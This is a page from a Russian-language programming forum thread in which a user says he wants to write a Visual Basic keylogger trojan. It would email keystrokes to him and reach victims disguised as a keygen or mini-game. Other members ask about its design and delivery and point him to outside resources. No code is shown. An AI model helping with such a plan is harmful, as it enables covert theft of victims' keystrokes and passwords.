Присоединился: 2007-12-16 23:11:22.003333

Ошибка очень мб потому,что где то программистский ляп и ты класс/переменную как то криво проинициализировал. Оно на твоем то компе запускается? если нет, то или настройки не те, или прорграмма. Поправка: ты просто не можешь написать троя. Ответ=можно.

Post #: 68

RE: Программирование на VB - 2009-09-07 00:02:05.766666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

На моем компютере все хорошо работает ( и присылает ответы на мой email ) .
А как собственно отправлять email с помощю Winsock-а ?

Post #: 69

RE: Программирование на VB - 2009-09-07 06:03:39.080000

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

quote:

ORIGINAL: hrantabe
На моем компютере все хорошо работает ( и присылает ответы на мой email ) .

Значит на компе, где установлен .NET работать будет.

quote:

ORIGINAL: hrantabe
А как собственно отправлять email с помощю Winsock-а ?

Поиск по форуму / гугл… Да и вообще говнобэйсик совсем не для этих вещей предназначен.

Post #: 70

RE: Программирование на VB - 2009-09-07 13:38:10.906666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

Значит на компе, где установлен .NET работать будет.

Сейчас почтьи нет таких (Net 3.5) .

quote:

Поиск по форуму / гугл… Да и вообще говнобэйсик совсем не для этих вещей предназначен.

Поверь гуглил много но ненашел
каздый день смотрю
это
http://www.vbforums.com/showthread.php?t=350701
и это
http://www.daniweb.com/forums/thread207115.html
Может поможеш ?

Post #: 71

RE: Программирование на VB - 2009-09-07 14:16:59.506666

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

Ты по тем сайтам искал или в интернете? :)
Ещё раз, говнобэйсик предназначен совсем для другого, а vb.net - это вообще мертворожденное дитя майкрософта.

http://www.rsdn.ru/summary/556.xml (6-й способ)… + тебе понадобится теория по WinSock

Post #: 72

RE: Программирование на VB - 2009-09-07 16:10:12.736666

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

quote:

Ты по тем сайтам искал или в интернете? :)

Гуглил .

quote:

Ещё раз, говнобэйсик предназначен совсем для другого, а vb.net - это вообще мертворожденное дитя майкрософта.

vb.net больше не буду использиват , напишу на vb 6.0 , пока другого незнаю вообше

quote:

http://www.rsdn.ru/summary/556.xml (6-й способ)… + тебе понадобится теория по WinSock

Там написанно что 6-й способ для Windows 2000 , а может "последний способ" , нашел что то типо таго
http://bit.pirit.info/forum/viewtopic.php?t=6242

Post #: 73

RE: Программирование на VB - 2009-09-07 17:29:46.240000

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

В том форуме тебе ответили…

Давай так, мы тебе позадаём наводящие вопросы и направим тебя на нормальное решение. Только отвечай прямо, без хождений влево-вправо.

Вопрос №1: Что ты хочешь написать и кто это будет использовать?

Post #: 74

RE: Программирование на VB - 2009-09-07 17:37:17.650000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

Там меня не было

Ответ №1: хочу написать трояна , сам буду использивать .

Post #: 75

RE: Программирование на VB - 2009-09-07 18:12:50.163333

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

№1: какой функционал должен быть у трояна?
№2: почему именно на vb6?
№3: Какие аргументы "за" vb6 и какие "против" нормального win32 приложения на том-же Си (даже не с++) + WinAPI?
№4: как троян будет запускаться на машине жертвы?

—-
Added:
По твоей последней ссылке есть готовый код на vb :)

Post #: 76

RE: Программирование на VB - 2009-09-07 18:48:48.630000

hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000

№1: это должен быть кейлоггер отправляющий результаты на мой email
№2: с этого я начинаю
№3: не понял
№4: он будет в качестве подарка ( кейген , мини игра … )

у меня что то не посылает .

Post #: 77

RE: Программирование на VB - 2009-09-07 19:20:34.483333

_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333

Про №2 - не с того ты начинаешь. На vb обычно пишутся всякие офисные примочки, но никак не кейлоггеры. Если хочется копать в эту сторону ("хакерства") - то вперёд на www.wasm.ru

Про №3: аргументируй, почему ты начал учить именно vb6, а не другой язык. И чем vb6 лучше других, для написания кейлоггеров?

А если не посылает - то причин может быть много… Ходи пошагово и смотри, в каком месте и что не получается. Приводи свой код, будем разбираться, только скорее всего не я :). Очевидные ляпы замечу, но глубоко копать не стану.

Post #: 78

RE: Программирование на VB - 2009-09-07 20:38:48.086666

Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333

1) можно собрать приложение для .NET начиная например со 2-й версии (в свойствах среды ставится)
2) найди другой комп для добровольных испытаний
3) идеал=потратить время на другой норм. язык
…..ну или отлаживай свой vb 6 …

Post #: 79

RE: Программирование на VB - 2009-09-07 20:44:21.210000

Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000

quote:

ORIGINAL: _SaZ_

Ещё раз, говнобэйсик предназначен совсем для другого, а vb.net - это вообще мертворожденное дитя майкрософта.

а ну-ка разверни мысль, будь добр. для чего же предназначен говнобейсик, и почему VB.Net - дитя мертворожденное? пока думаешь, посмотри на вот эти графики, поэстетствуй:

http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html

Post #: 80

Страниц: 1 [2] 3

Все форумы >> [Компилируемые языки] >> RE: Программирование на VB

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.